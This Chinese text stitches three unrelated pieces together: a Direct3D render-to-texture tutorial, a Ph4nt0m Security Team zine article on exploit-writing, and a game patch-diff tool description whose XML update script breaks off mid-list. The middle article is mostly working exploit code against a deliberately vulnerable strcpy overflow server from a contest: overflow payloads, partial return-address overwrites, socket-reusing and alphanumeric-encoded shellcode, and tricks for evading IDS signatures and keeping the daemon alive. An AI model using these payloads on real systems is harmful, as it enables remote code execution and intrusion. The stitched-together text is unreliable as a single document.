渲染到纹理是D3D中的一项高级技术。一方面,它很简单,另一方面它很强大并能产生很多特殊效果。 比如说发光效果,环境映射,阴影映射,都可以通过它来实现。渲染到纹理只是渲染到表面的一个延伸。我们只需再加些东西就可以了。首先,我们要创造一个纹理,并且做好一些防范措施。第二步我们就可以把适当的场景渲染到我们创建的纹理上了。然后,我们把这个纹理用在最后的渲染上。
  ?main.cpp
  首先我们得声明所需要的对象。当然我们需要一张用来渲染的纹理。此外,我们还需要两个Surface对象。一个是用来存储后台缓冲区,一个用来当纹理的渲染对象。后面我再详细介绍它们。另外我们还需要两个矩阵,一个是用来当纹理的投影矩阵,另一个是存储原来的矩阵。
  LPDIRECT3DTEXTURE9 pRenderTexture = NULL;
  LPDIRECT3DSURFACE9 pRenderSurface = NULL,pBackBuffer = NULL;
  D3DXMATRIX matProjection,matOldProjection;
  现在我们来创建纹理。前两个参数是纹理的宽度和高度,第三个参数是纹理的多级渐进纹理序列参数,在这里是设为1,第四个参数非常重要而且必须设为D3DUSAGE_RENDERTARGET,表明我们所创建的纹理是用来渲染的。剩下的参数就是指纹理格式,顶点缓冲区的内存位置,和一个指向纹理的指针。当纹理是用来当渲染对象时,顶点缓冲区的内存位置必须设为D3D_DEFAILT。
  g_App.GetDevice()->CreateTexture(256,256,1,D3DUSAGE_RENDERTARGET,D3DFMT_R5G6B5,D3DPOOL_DEFAULT,&pRenderTexture,NULL);
  为了访问纹理内存对象,我们需要一个Surface对象,因为D3D中的纹理是用这样的一个Surface来存储纹理数据的。为了得到纹理表面的Surface,我们需要调用方法GetSurfaceLevel() 。第一个参数我们设为0,第二个参数为一个指向surface对象的指针。
  pRenderTexture->GetSurfaceLevel(0,&pRenderSurface);
  下一步就是创建一个适合纹理维数的投影矩阵,因为纹理的横纵比和后台缓冲区的不一样。
  D3DXMatrixPerspectiveFovLH(&matProjection,D3DX_PI / 4.0f,1,1,100);
  在我们的循环渲染之前,我们必须保存后台缓冲区和它的投影矩阵。
  g_App.GetDevice()->GetTransform(D3DTS_PROJECTION,&matOldProjection);
  g_App.GetDevice()->GetRenderTarget(0,&pBackBuffer);
  渲染循环函数可以分为两个部分。第一部分是渲染到纹理的过程。因此,渲染对象必须设为纹理表面。然后我们就可以把东西渲染到这个对象上了。渲染到另一个表面上和正常地渲染到后台缓冲区差不多。只有一点不同,那就是先不调用Prensent()函数,因为纹理上的内容并不需要显示在屏幕上。象平时一样,我们先要重置表面颜色缓冲区,并且调用BeginSence()和EndSence()方法。为了能够适当的渲染,我们必须设置和纹理表面相符的投影矩阵。否则最后的图象可能被扭曲
  //render-to-texture
  g_App.GetDevice()->SetRenderTarget(0,pRenderSurface); //set new render target
  g_App.GetDevice()->Clear(0,NULL,D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER,D3DCOLOR_XRGB(100,100,100),1.0f,0); //clear texture
  g_App.GetDevice()->BeginScene();
  g_App.GetDevice()->SetTexture(0,pPyramideTexture);
  D3DXMatrixRotationY(&matRotationY,fRotation);
  D3DXMatrixTranslation(&matTranslation,0.0f,0.0f,5.0f);
  g_App.GetDevice()->SetTransform(D3DTS_WORLD,&(matRotationY * matTranslation));
  g_App.GetDevice()->SetTransform(D3DTS_PROJECTION,&matProjection); //set projection matrix
  g_App.GetDevice()->SetStreamSource(0,pTriangleVB,0,sizeof(D3DVERTEX));
  g_App.GetDevice()->DrawPrimitive(D3DPT_TRIANGLELIST,0,4);
  g_App.GetDevice()->EndScene();
  渲染循环的第二部分就是渲染最后场景的过程(也就是显示到屏幕上的过程)。渲染对象重新设为后台缓冲区,投影矩阵重新设为原来的投影矩阵。由于纹理已经准备好了,所以它和纹理层0相关联。
  //render scene with texture
  g_App.GetDevice()->SetRenderTarget(0,pBackBuffer); //set back buffer
  g_App.GetDevice()->Clear(0,NULL,D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER,D3DCOLOR_XRGB(0,0,0),1.0f,0);
  g_App.GetDevice()->BeginScene();
  g_App.GetDevice()->SetTexture(0,pRenderTexture); //set rendered texture
  g_App.GetDevice()->SetTransform(D3DTS_WORLD,&matTranslation);
  g_App.GetDevice()->SetTransform(D3DTS_PROJECTION,&matOldProjection); //restore projection matrix
  g_App.GetDevice()->SetStreamSource(0,pQuadVB,0,sizeof(D3DVERTEX));
  g_App.GetDevice()->DrawPrimitive(D3DPT_TRIANGLESTRIP,0,2);
  g_App.GetDevice()->EndScene();
  g_App.GetDevice()->Present(NULL,NULL,NULL,NULL);
  最后我们通过调用Release()方法释放Surface对象。
  pRenderSurface->Release();
  pRenderSurface = NULL;
  pBackBuffer->Release();
  pBackBuffer = NULL;
  渲染到纹理能让你做很多事情,但是你必须注意一些限制。首先深度缓冲区必须总是大于或等于渲染对象的大小。此外,渲染对象和深度缓冲区的格式必须一致。

                          ==Ph4nt0m Security Team==
                       Issue 0x01, Phile #0x03 of 0x06

|=---------------------------------------------------------------------------=|
|=---------------------=[       做一个优秀的木匠      ]=---------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=--------------------=[           By F.Zh             ]=--------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|

    [本文内容可能会伤及到部分名人粉丝感情,作者表示仅为插科打诨之用,并无恶意]
    有副图描述了从发现漏洞到最后盈利的过程,大概意思是研究人员发现了房子的漏洞,木
匠针对漏洞造了一个梯子,最后脚本小子进屋偷东西。国内的圈子里面,玩票性质的安全爱好
者大多不愿意做脚本小子,同时也不见得有足够的时间去找房子的漏洞,所以闲暇时候基本上
做做木匠活当消遣。但木匠也是有三六九等的,有朱由校,有鲁班,也有就只能给地主老财家
做楠木棺材的。作为一个有职业道德的木匠,显然应该努力向前面两个靠拢,因为只能做做楠
木棺材的,未免也太失面子了。

    这篇文章就从国内某著名破解论坛搞的科普竞赛开始,由一个楠木棺材级别的木匠挣扎
着介绍一下放眼能够看到的技巧。在切入正题前,有必要介绍一下科普竞赛的背景和结果:
大约是看到windows漏洞太值钱,破解组织也开始搞起了逆向和exploit,而且还以竞赛的方
式来引起非木匠的关注。科普竞赛的题目是两道,如Sowhat所说
(http://hi.baidu.com/secway/blog/item/cb121863a6af72640c33facf.html),第二道题是
可以Google到的,而第一道题显然是个送分题,因此科普竞赛实际上是个比手快的过程。最
后结果是nop拿了第一,这个名字让人不禁联想到了五一国际劳动节和革命先烈鲜血的颜色,
当然,我们依然怀着无比的敬仰和美好的期望,希望这个nop不是职业运动员参加了业余比赛。
    先看看存在问题的程序。逆向很简单,但是为了方便,还是直接给出官方公布的源代码。
具有严重自虐倾向的木匠请编译后用ida逆向一下,并自备低温蜡烛和爱心小皮鞭。
========================和谐的分割线=================================
#include<iostream.h>
#include<winsock2.h>
#pragma comment(lib, "ws2_32.lib")
void msg_display(char * buf)
{
  char msg[200];
  strcpy(msg,buf);// overflow here, copy 0x200 to 200
  cout<<"********************"<<endl;
  cout<<"received:"<<endl;
  cout<<msg<<endl;
}
void main()
{
  int sock,msgsock,lenth,receive_len;
  struct sockaddr_in sock_server,sock_client;
  char buf[0x200]; //noticed it is 0x200
  WSADATA wsa;
  WSAStartup(MAKEWORD(1,1),&wsa);
  if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
  {
    cout<<sock<<"socket creating error!"<<endl;
    exit(1);
  }
  sock_server.sin_family=AF_INET;
  sock_server.sin_port=htons(7777);
  sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
  if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
  {
    cout<<"binding stream socket error!"<<endl;
  }
  cout<<"**************************************"<<endl;
  cout<<"     exploit target server 1.0     "<<endl;
  cout<<"**************************************"<<endl;
  listen(sock,4);
  lenth=sizeof(struct sockaddr);
  do{
    msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
    if(msgsock==-1)
    {
      cout<<"accept error!"<<endl;
      break;
    }
    else
      do
      {
        memset(buf,0,sizeof(buf));
        if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
        {
          cout<<"reading stream message erro!"<<endl;
          receive_len=0;
        }
        msg_display(buf);//trigged the overflow
      }while(receive_len);
      closesocket(msgsock);
  }while(1);
  WSACleanup();
}
========================和谐的分割线=================================
    如注释所言,这里是误把0x200长度的往200字符串里面拷贝了。其实这个问题并不具有
代表性,比尔叔叔的手下们把widechar的长度算错过,把栈上的变量当堆释放过,把用户给的
地址内容加1过,唯独没有昏到把16进制和10进制搞混。不过既然主办方这样写,我们也就这
样看吧。实际上逆向出来后,作为一个模板可以覆盖ret,然后code page里面找jmp esp,然
后这样那样,很简单就搞定exp了。尽管在冠军的答案中看到了这种方法的影子,楠木棺材级
木匠还是要挥舞着手中的锯子说,这种程度只能去做洗脚盆。

    好吧,那我们一步一步地看如果从洗脚盆程度提升到楠木棺材级别,并展望一下更高的
层次。
    首先是获取CPU的控制权问题。

    dark spyrit在某期Phrack(记不清楚了)上提出可以用系统加载的dll上的指令码来跳
转并获得控制权。这里有一个前提,因为很巧的你覆盖了一大堆东西后,ret退栈后esp指向
你能够控制的代码,因此用一个jmp esp可以跳过来执行,剩下就是编写shellcode。但是,
并不是说就只能用这个方法,或者说这个方法就最好。dark spyrit最大的贡献是提出了一
个通用的方法,同马列主义毛 泽东思想邓 小平理论三个代表八荣八耻一样,虽然是放之四海
而皆准的真理,不过到了中国,还是要要结合具体的国情来开展工作。拿jmp esp的东西往
机器上一跑,不同的操作系统版本怎么办,/3gb模式怎么办?做洗脚盆的确可以区分着做出
男用女用小孩用人妖用的,但是可能拿去用的人是超女的冠军,如果事先你不知道名字,只
看长相,你说到底给那个盆子好?

    所以造梯子的时候,最好还是根据实际情况来。一般来说,栈溢出时,对栈上的破坏情
况不是很严重的话,在栈区域上可以看到很多上层函数的局部变量,而且这些局部变量往往
是很有用的,比如凑巧就是你那个字符串的指针等。打栈上变量的主意有几个好处,首先你
可以用其他更稳定的方法跳转到恶意字符串的开头,其次这可以给你多一些字节空间来存放
shellcode,最后还可以防止一些ids/ips的检测。我们可以用下面一个简单的图示来把这
三个优势混杂起来说明一下。
<--lower                                                upper-->
================================================================
var of vulnerable function   |  ret  |  var of upper function ...
================================================================
NOP NOP NOP NOP NOP NOP NOP  |jmp esp|  shellcode
================================================================
shellcode                    |jmp  ? |  var of upper function
================================================================

    第二行是马列主义方法,你一定会覆盖到ret,然后继续覆盖起码2个字节(eb xx往回跳转)。
因此一些ids/ips的signature就写了,如果你超过xxoo个字节,就阻止发送。就算写得不好
的signature起码也会检查你是否覆盖到了ret的四个字节,一些更严格的甚至只要覆盖到ret
的第一个字节就报警,对于这样的情况,马列主义方法肯定是被扼杀了,但是第三行的具体国
情方法还有一线机会逃脱检测,我们根本不用覆盖完ret的四个字节,只要利用栈上的变量,
找一些特定的字节码就可以了。

    说到这里还可以插播一个事情,去年一月份泄露出来的.ani溢出的exp,大家对那个覆
盖了低两位的exp惊叹不已。这就是一个很好的例子:第一,你用最小的字节数完成了功能,
最大限度避免了ids等的问题。第二,这个方法的稳定性还好。这样说其实是很抽象的,我们
还是回到科普竞赛的代码上来看。

    调用msg_display的时候传递进来了一个参数,在栈上表现出来是这个参数是紧接着ret
地址后面的,如果我们仅覆盖到了ret地址,当CPU执行完msg_display返回时,esp刚好指向
这个参数,这个时候只需要一个能达到jmp [esp]功能的地址,就能准确跳转到我们传入的
字符串上去,显然,满足这个条件最好的指令就是0xc3(ret)。下面这个图简单地说明了这
个问题。
<--lower                                                              upper-->
=============================================================================
var of vulnerable function  |  ret  |  ptr  | other var of upper function ...
=============================================================================
^---------------------------------------|

    把图中的ret用一个内容为0xC3的地址A来覆盖,当msg_display返回时,返回到了A地址,
再执行了一次0xC3(ret)指令,eip就跳到了字符串的开头。

    这里的情况还是很简单的,实际exploiting中也许这个ptr离ret还有点距离,可能需要
你pop几次,这个形式上同覆盖seh的利用方法相同,也算是一个巧合吧。

    然后来说说0xC3地址的寻找。首先很遗憾的,如果你想用四个字节完全覆盖ret地址,
没有一个通用地方。msvcrt.dll在相同sp的不同语言系统中相对固定,code page在相同语
言不同版本系统中相对固定。注意,这里只是相对,碰上些特殊的情况,可能这些平时通用
的地址根本就是无效的地址。再严格一些,如果这里地址必须符合某种编码规范,也许你更
难找到可用的地址,更别说通用了。

    洗脚盆级别的木匠到这里估计要晕倒了,棺材匠级别的应该还有点办法,两个解决方案:

    第一、找一个替代产品来满足编码规范。比如0x7ffa1571是你要找的pop pop ret,没
必要一定要用0x7ffa1571,也许用0x7ffa156e也可以,只要pop pop ret前面的指令无伤大
雅就是。一个实际的例子是泄露出来的realplayer import那个,要找pop pop ret,但是符
合编码规范的范围内找不到,作为替代找了一个 call xxx/ret xx,而且刚好call xxx还不
会让程序崩溃。

    第二、缩小覆盖面积。覆盖4个字节太痛苦了,少覆盖几个字节吧。x86的DWORD是低位
在上的,所以你顺序覆盖的时候,首先覆盖了ret地址的低位。正常的ret值是返回到某个pe
文件中,比如00401258,如果覆盖一个字节,那可能的地址范围是00401201~004012ff,如果
覆盖2个字节,可能的地址范围在00400101~0040ffff。这么大的范围内一般容易找到满足
要求的地址,而且更重要的是,pe文件版本固定的话,尽管加载的基地址可能会变化,但是由
于基地址有个对齐的要求,低位(两个字节或更多)完全固定,这实际上是一个很好的提高稳
定性的方法。现实中memcpy导致的问题用这种方法更有效,strcpy的麻烦些,不过好在只要
说明问题就是,这里也不深究过多。马上给出第一个代码。
========================和谐的分割线=================================
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")
SOCKET ConnectTo(char *ip, int port)
{
    SOCKET s;
    struct hostent *he;
    struct sockaddr_in host;
    if((he = gethostbyname(ip)) == 0)
        return INVALID_SOCKET;
    host.sin_port = htons(port);
    host.sin_family = AF_INET;
    host.sin_addr = *((struct in_addr *)he->h_addr);
    if ((s = WSASocket(2, 1, 0, 0, 0, 0)) == -1)
        return INVALID_SOCKET;
    if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
    {
        closesocket(s);
        return INVALID_SOCKET;
    }
    return s;
}

void main()
{
    char malicious[] =  "\xcc"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "OA@";
    WSADATA wsaData;
    if(WSAStartup(0x0101,&wsaData) != 0)
        return;
    SOCKET s = ConnectTo("127.0.0.1", 7777);
    send(s, malicious, 203, 0);  //hard encoded :)
    WSACleanup();
}
========================和谐的分割线=================================

    执行下顺利到达int3指令。

    构造exp的过程本身是简单的,关键在shellcode实现功能上。洗脚盆木匠到这一步基本
上就是找一个shellcode来用。作为一个有职业道德的棺材级木匠,可能还应该有点更高的
追求:好的梯子除了能够通用而精确地干掉存在漏洞的机器外,同时还要方便使用者,绕过
防火墙,而且还要尽可能少地影响到守护进程。对于网络程序,理想的情况是复用端口,终
极目标是复用完了还不挂,后续的使用者能够正常使用守护进程的功能。后一点听起来似
乎有点不可思议,而且流传在外面的各种exp,好像还罕有牛到这种程度,不过说穿了也没什
么奇怪的,棺材级的木匠一般都能做到,只是马桶级木匠更喜欢散布马桶级exp而已。我们
把复用端口的问题留在后面,先聊聊如何让守护进程不挂掉这个事情。

    要程序不挂,最简单的办法就是恢复溢出时候的上下文,然后返回去。通常jmp esp的方
法因为覆盖得太多,栈给洗脚盆木匠搞得一团糟,影响了太多上级函数的变量,导致根本没有
什么好办法可以恢复。这个时候,尽可能少覆盖的优势出来了:由于最大限度地保存了上层
函数局部变量,所以要做的就是恢复相关寄存器的值,然后寻找正常流程应该返回的地址,跳
转回去即可。对于这里这个简单的daemon,我们甚至可以硬编码返回地址。还是把例子给出
来,说明一下问题先。

========================和谐的分割线=================================
char malicious[] =
"\xCC"
"LLLL`a"
"\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"OA@";
========================和谐的分割线=================================

    同前面一个代码相同,0xCC为了调试方便,改成0x90后再编译执行下,可以看见守护进程
完全恢复了,你还可以telnet 7777过去正常执行功能,和没有发生过问题一样。这里恢复的
代码用了一点小技巧,有兴趣的木匠可以仔细看看,代码`和a分别是pushad和popad,在这两
个中间可以放置任何功能的shellcode,不影响整体的框架。

    例子虽然简单,但是我建议读到这里的木匠还是跟进去看一下流程。由于这个实例比
较直观,代码就简单恢复了上下文然后跳到正常地方执行,对于复杂点的代码,可能需要多
费一点手脚,但是大体思路和步骤还是可以确定的:首先收集一个正常执行完出问题代码的
寄存器和栈状态;然后确定要返回的地址,搜索或者硬编码,返回的地方可以是上一层,也可
以返回上几层,甚至无耻地跳到入口让程序重新执行一次都可以;最后将恢复的代码编码成
shellcode,加在正常功能shellcode的后面。

    让守护进程不挂也做到了,接着看看端口复用的情况。
    最简单的网络程序保留有一个SOCKET来通讯,很多已有的文章讨论了如何找到当前的
SOCKET。最常用的方法是枚举所有可能的值,然后发送特征字符串来确认。也有人hook
recv,通过稍微被动一点的方法来获得SOCKET。当然这些都是懒人用的通用方法,对于特定
的程序,简单而又稳妥的方法是直接找栈上的变量,消耗的代码少,而且一次性就能找到。
如果编译优化的时候没有具体分配栈上的空间给这个socket,则它一定会被保存在某个寄
存器里面,那就更简单了。针对具体的情况,像recv之类的函数也没有必要用很长的通用代
码去搜索,只要在PE文件里面找找就成。具体的实现细节我们省略掉,给出代码,直接跟进
去看看就知道了。

========================和谐的分割线=================================

void main()
{
    char malicious[] =  "\x90"
                    "LLLL`"
                    "\x33\xd2\x66\xba\x10\x10\x2b\xe2\x33\xf6\x56\x52\x54\x53\x66\xb8"
                    "\xe4\x90\xff\x10\x83\xec\x08\xff\xd4\x5d\x5d\x33\xd2\x66\xba\x10"
                    "\x10\x03\xe2"
                    "a"
                    "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
                    ""
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                    "OA@";
    WSADATA wsaData;
    if(WSAStartup(0x0101,&wsaData) != 0)
        return;
    SOCKET s = ConnectTo("127.0.0.1", 7777);
    send(s, malicious, 203, 0);

    send(s, "\xCC\xC3",2,0);
    Sleep(-1);
    WSACleanup();
}
========================和谐的分割线=================================

    这里直接复用了当前的SOCKET,再次调用recv收了一段shellcode来执行,也就是后面看
到的"\xCC\xC3"。自己再写个简单的shellcode就是,基本没有难度,只是注意要平衡栈,最
后用个0xc3结尾。比较见鬼的是这个守护进程有recv但是没有send,所以shellcode里面你
必须自己找到send的地址……娘西皮,还带这样玩的啊。

    其他情况下的复用还有一些其他的方法,比如IIS 5这一类的,比如RPC一类的。前者寻
找一个结构,后者hook一个函数,伪造或者搜索一个同时有in和out的opnum,具体细节baidu
上能够搜索到,限于篇幅这里也不再废话了。如果对方是其他完成端口形式,比如ORACLE,只
能暴力点shutdown掉当前监听,自己来监听一个。当然,也有没什么好方法的,比如IIS6。

    上面的过程省略了没有技术含量的shellcode编写过程,主要说的是一些步骤,方法和技
巧。稳定,复用,还有不挂掉守护进程,都作到了,洗脚盆也成功升级为了棺材匠,还有什么可
以做的呢?

    美观!这个shellcode简直不是一般的难看,混杂了可读的字符和不可读的字符,简直是
丑陋不堪!你说一个木匠会把棺材做的全是毛刺么,不会雕龙刻凤的木匠永远是二流的。对
于木匠来说,终极的目标是将一个exp发挥到极致,对于这样简单的一个情况,要用所有可见
的字符,最好尽可能都是字母,甚至exp都不用,直接用个telnet就可以溢出获得shell了。

    不可能么?当然是可能的,人有多大胆地有多大产,钱老还论证过亩产万斤是可行的呢。
那么,还是给个sample。

void main()
{
    char malicious[] =  "`aZZZZZZZZZZZZZZZZZZTYXXXXfiAqcYfPAAeiAoHFXZPiAkj"
            "brIPiAgVbaaPiAckwzOPLiAsloUWPiAZczabPiAVYDahPiARC"
            "pDXPQlaatHWsaLtUAAAACFiaaPoHHmDahivabowabxANlKjPpp"
            "ppPfqVfkzppQpBknrFJPPeruDecoOaeNtiPdPpPxSnLpHOoMd"
            "AAAOA@";
    WSADATA wsaData;
    if(WSAStartup(0x0101,&wsaData) != 0)
        return;
    SOCKET s = ConnectTo("127.0.0.1", 7777);
    send(s, malicious, 203, 0);

    send(s, "\xCC\xC3",2,0);
    Sleep(-1);
    WSACleanup();
}

    这里两段shellcode,我们主要解决第一步的问题。要说明malicious到底是个什么东西,
牵扯的面就太广了,我们假设看文章的木匠都是有汇编功底的,而且愿意反汇编进去看一下,
就简单的提提,因为要写这个shellcode的构造,那又是一篇文章。shellcode里面首先平衡
栈,然后对栈进行一些patch,patch出想要的指令,然后对后续数据进行解码操作,最后再执
行。

    这个code,运行顺利可以抓到一个0xCC,也就是第二个send的。但是,ret后守护进程还
是挂了。

    为了美观,我们exp的工作必须重头再来。开始我们把姿态定得很低,目的是说明问题,
现在把最重要的几步都解决了,又回到了原点,各位木匠们,现在可以动起手来写一下完全符
合可见字符编码的,复用当前SOCKET的第二段shellcode了。按照前面的步骤,应该不是很难
的事情,让守护进程不挂也是可以的,malicious代码保留了革命的火种,发生溢出时的寄存
器值,都保留在上面,剩下一点工作,只是比写普通shellcode稍微多费点劲的活,不想试试看
么。

    最后再卖个关子,棺材木匠说过,最终是可以由telnet提交的获得shell,连exp都不用的。
telnet是一个字符一个字符提交的,有没有什么一次性提交203个字节导致第一次溢出呢?可
以的,守护进程只有一个线程,打打这方面的主意,用个小技巧吧。

-EOF-

在游戏开发和维护过程中,客户端都是不断更新的,伴随着每一次的更新,都会发布
一个更新补丁包来对旧的客户端进行更新,来使其变成新的客户端,补丁包应该包含
更新成新客户端的最少量资源(最大量资源就是整个新的客户端覆盖旧的)
更新程序通过读一个更新脚本,对旧的客户端进行文件添加,文件覆盖,文件删除等
操作来更新旧的客户端,当更新量比较少比较简单的情况下,更新脚本可以资源整理
人员自己写,但当更新量太大,资源多而杂的情况下,手写更新脚本就变得极容易出
错了,所以有必要开发一个工具自动查找两个版本的差异,自动生成更新脚本。
比较的方法:
假设有两个文件夹A,和文件夹B,A是旧的客户端,B是新的客户端,需要通过算法来
找出两个文件夹的差异,并生成脚本,此脚本即明确的表明一些操作能将A变成B的过
程。
1.遍历A文件夹中的所有文件名,包括子目录,储存到O中去
2.遍历B文件夹中的所有文件名,包括子目录,储存到N中去
3.找出需要添加到旧版本中的文件:
通过遍历N中每个文件,查询是否在O中存在,如果不存在的文件则为需要添加的文
,储存到FA中去。
4.找出旧版本中需要删除的文件:
通过遍历O中每个文件,查询是否在N中存在,如果不存在则表示此文件需要删除,
并储存到FD中去。
5.找出旧版本中需要覆盖的文件:
通过遍历N中每个文件,找出在O中也同样存在此文件,这里把游戏用的资源包排除掉,
它们将在后面的操作中检测并更新,如果找到的两个相同的文件,比较文件内容只要
一个字节的内容不相同,则说明旧的版本中的此文件需要被新的版本中的文件覆盖掉
6.游戏资源包的更新操作:
通过遍历N中的每个为游戏资源包类型的文件,并查找O中是否
同样存在此文件,如果存在再比较两个内容是否相同,如果有一个字节不相同就表示内
容不同,则跳入下面包的更新操作中去。
a. 遍历旧包内的所有文件,储存到PO中
b. 遍历新包内的所有文件,储存到PN中
c. 找出旧包内需要添加的文件:
   通过遍历PN中每个文件,找出在PO中没有的,储存到PA中去。
d. 找出旧包内需要删除的文件:
   通过遍历PO中每个文件,找出在PN中没有的,储存到PD中去。
e. 找出旧包内需要覆盖的文件:
   通过遍历PO中每个文件,如果PN中也存在此文件,如果他们之间有一个字节不相同
   则表示旧包内的此文件需要覆盖掉,储存到PR中去。
通过上面的过程,两个文件夹的差异已经找出来了,这时就可以根据差异信息生成更新脚本,
同时把旧版本需要添加,覆盖,包内需要添加,覆盖的文件抽取出来,生成资源包。
下面截图是我写的一个版本比较工具的截图:

uploads/200803/21_153511_vctools.jpg

最后需要添加和替换的资源全部复制到resource目录下去
生成的更新脚本类似如下:

<VersionCompare>
  <Version Old="1.0" New="1.1" />
  <Resource Path="./resource/" />
  <UpdateActions>
    <FileActions>
      <Add From="0.dat" To="SkyBox/NewPictures/anc_elephantear1.PNG" />
      <Add From="1.dat" To="SkyBox/NewTexts/Apple.txt" />
      <Add From="2.dat" To="SkyBox/NewTexts/Pear.txt" />
      <Add From="3.dat" To="SkyBox/NewTexts/Orange.Txt" />
      <Add From="4.dat" To="TerrainMaterial/GoodLcuk.doc" />
      <Add From="5.dat" To="WaterColour/半兽人.mp3" />
      <Add From="6.dat" To="ABc1.sgp" />
      <Delete Where="SkyBox/bm00500SkyBox_BK.jpg" />
      <Delete Where="ShadowLayer/TerrainBlock16.tga" />
      <Delete Where="ShadowLayer/TerrainBlock36.tga" />
      <Delete Where="ShadowLayer/TerrainBlock44.tga" />
      <Delete Where="ShadowLayer/TerrainBlock63.tga" />
      <Replace From="7.dat" ToReplace="00500.xml" />
      <Replace From="8.dat" ToReplace="ShadowLayer/TerrainBlock46.tga" />
      <Replace From="9.dat" ToReplace="SkyBox/SkyBox.material" />
      <Replace From="10.dat" ToReplace="TerrainMaterial/TerrainMaterials.material" />
      <Replace From="11.dat" ToReplace="WaterColour/WaterColour_bm00500.tga" />
    </FileActions>
    <PackageActions Package="ShadowLayer/abc1.sgp">
      <Add From="12.dat" To="复件 skybox/terrainblock7.tga" />
      <Delete Where="00002.dat" />
      <Delete Where="00002.dat.addons" />
      <Delete Where="00002.xml.bak" />
      <Delete Where="bf00002.xml.bak" />
      <Replace From="13.dat" ToReplace="aaa.xml" />
      <Replace From="14.dat" ToReplace="skybox/lava_01.tga" />
      <Replace From="15.dat" ToReplace="skybox/skybox.material" />
      <Replace From="16.dat" ToReplace="复件 skybox/skybox.material" />
    </PackageActions>
    <PackageActions Package="SkyBox/abc1.sgp">
      <Add From="17.dat" To="shadowlayer/bm00500skybox_bk.jpg" />
      <Delete Where="skybox/bf00002skybox_bk.dds" />
      <Delete Where="skybox/bf00002skybox_dn.dds" />
      <Delete Where="skybox/bf00002skybox_fr.dds" />
      <Delete Where="skybox/bf00002skybox_lf.dds" />
      <Delete Where="skybox/bf00002skybox_rt.dds" />
      <Delete Where="skybox/bf00002skybox_up.dds" />
      <Delete Where="skybox/lava_01.tga" />
      <Delete Where="skybox/skybox.material" />
      <Delete Where="skybox/thumbs.db" />
      <Replace From="18.dat" ToReplace="aaa.xml" />
      <Replace From="19.dat" ToReplace="复件 skybox/skybox.material" />
    </PackageActions>
    <PackageActions Package="TerrainMaterial/abc1.sgp">
      <Add From="20.dat" To="新建文件夹/bm00500terrain.jpg" />
      <Delete Where="watercolour/bf00002wateredge.dds" />
      <Replace From="21.dat" ToReplace="aaa.xml" />
      <Replace From="22.dat" ToReplace="skybox/lava_01.tga" />
      <Replace From="23.dat" ToReplace="skybox/skybox.material" />
      <Replace From="24.dat" ToReplace="复件 skybox/skybox.material" />
    </PackageActions>
    <PackageActions Package="WaterColour/abc1.sgp">
      <Add From="25.dat" To="skybox/watercolour_bm00500.tga" />
      <Delete Where="shadowlayer/shadowlayer.rar" />
      <Delete Where="shadowlayer/terrainblock0.tga" />
      <Delete Where="shadowlayer/terrainblock1.tga" />
      <Delete Where="shadowlayer/terrainblock10.tga" />
      <Delete Where="shadowlayer/terrainblock11.tga" />
      <Delete Where="shadowlayer/terrainblock12.tga" />
      <Delete Where="shadowlayer/terrainblock13.tga" />
      <Delete Where="shadowlayer/terrainblock14.tga" />
      <Delete Where="shadowlayer/terrainblock15.tga" />
      <Delete Where="shadowlayer/terrainblock16.tga" />
      <Delete Where="shadowlayer/terrainblock17.tga" />
      <Delete Where="shadowlayer/terrainblock18.tga" />
      <Delete Where="shadowlayer/terrainblock19.tga" />
      <Delete Where="shadowlayer/terrainblock2.tga" />
      <Delete Where="shadowlayer/terrainblock20.tga" />
      <Delete Where="shadowlayer/terrainblock21.tga" />
      <Delete Where="shadowlayer/terrainblock22.tga" />
      <Delete Where="shadowlayer/terrainblock23.tga" />
      <Delete Where="shadowlayer/terrainblock24.tga" />
      <Delete Where="shadowlayer/terrainblock25.tga" />
      <Delete Where="shadowlayer/terrainblock26.tga" />
      <Delete Where="shadowlayer/terrainblock27.tga" />
      <Delete Where="shadowlayer/terrainblock28.tga" />
      <Delete Where="shadowlayer/terrainblock29.tga" />
      <Delete Where="shadowlayer/terrainblock3.tga" />
      <Delete Where="shadowlayer/terrainblock30.tga" />
      <Delete Where="shadowlayer/terrainblock31.tga" />
      <Delete Where="shadowlayer/terrainblock32.tga" />
      <Delete Where="shadowlayer/terrainblock33.tga" />
      <Delete Where="shadowlayer/terrainblock34.tga" />
      <Delete Where="shadowlayer/terrainblock35.tga" />
      <Delete Where="shadowlayer/terrainblock36.tga" />
      <Delete Where="shadowlayer/terrainblock37.tga" />
      <Delete Where="shadowlayer/terrainblock38.tga" />
      <Delete Where="shadowlayer/terrainblock39.tga" />
      <Delete Where="shadowlayer/terrainblock4.tga" />
      <Delete Where="shadowlayer/terrainblock40.tga" />
